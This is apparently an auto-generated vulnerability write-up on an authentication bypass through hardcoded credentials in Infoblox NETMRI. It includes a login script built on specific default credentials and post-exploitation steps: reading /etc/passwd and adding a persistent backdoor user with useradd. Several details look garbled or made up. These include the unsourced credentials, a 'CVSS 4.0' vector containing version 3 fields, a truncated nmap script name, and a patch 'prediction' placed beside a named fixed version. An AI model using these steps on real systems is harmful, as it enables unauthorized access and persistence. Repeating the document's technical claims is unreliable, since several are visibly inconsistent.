How CVE-2025-32815 Works
CVE-2025-32815 is an authentication bypass vulnerability in Infoblox NETMRI versions before 7.6.1 due to hardcoded credentials. Attackers can exploit this flaw by leveraging default or backdoor credentials embedded in the software, granting unauthorized access to sensitive administrative functions. The hardcoded credentials are not modifiable by users, allowing attackers to bypass authentication mechanisms entirely. This vulnerability is particularly dangerous as it enables full system compromise without requiring prior access or privilege escalation.
DailyCVE Form
Platform: Infoblox NETMRI
Version: <7.6.1
Vulnerability: Authentication Bypass
Severity: Critical
Date: 06/03/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation
- Identify Target: Scan for Infoblox NETMRI instances (<7.6.1).
- Hardcoded Creds: Use default credentials (e.g.,
admin:netmri) to log in.
3. Exploit Script:
import requests target = "http://target_ip/api/login" creds = {"username": "admin", "password": "netmri"} response = requests.post(target, json=creds) if response.status_code == 200: print("Access granted!")
Mitigation
1. Immediate Action: Disable external access to NETMRI.
2. Patch Upgrade: Apply Infoblox NETMRI 7.6.1+.
- Network Controls: Restrict API endpoints via firewall rules.
Detection
1. Log Analysis:
grep "failed login" /var/log/netmri.log
2. NMAP Scan:
nmap -p 443 --script http- <target_ip>
Post-Exploit
- Lateral Movement: Check for stored credentials in
/etc/passwd.
2. Persistence: Add backdoor user via:
useradd -m -s /bin/bash undercode
Hardening
- Credential Rotation: Force password reset for all users.
- API Security: Enable TLS 1.3 for all communications.
3. Audit Trail: Enable verbose logging in `/etc/netmri/config.yml`.
Analytics
- Exploitability: High (no prerequisites).
- Attack Surface: Remote, unauthenticated.
- CVSS 4.0: 9.8 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/S:C/C:H/I:H/A:H).
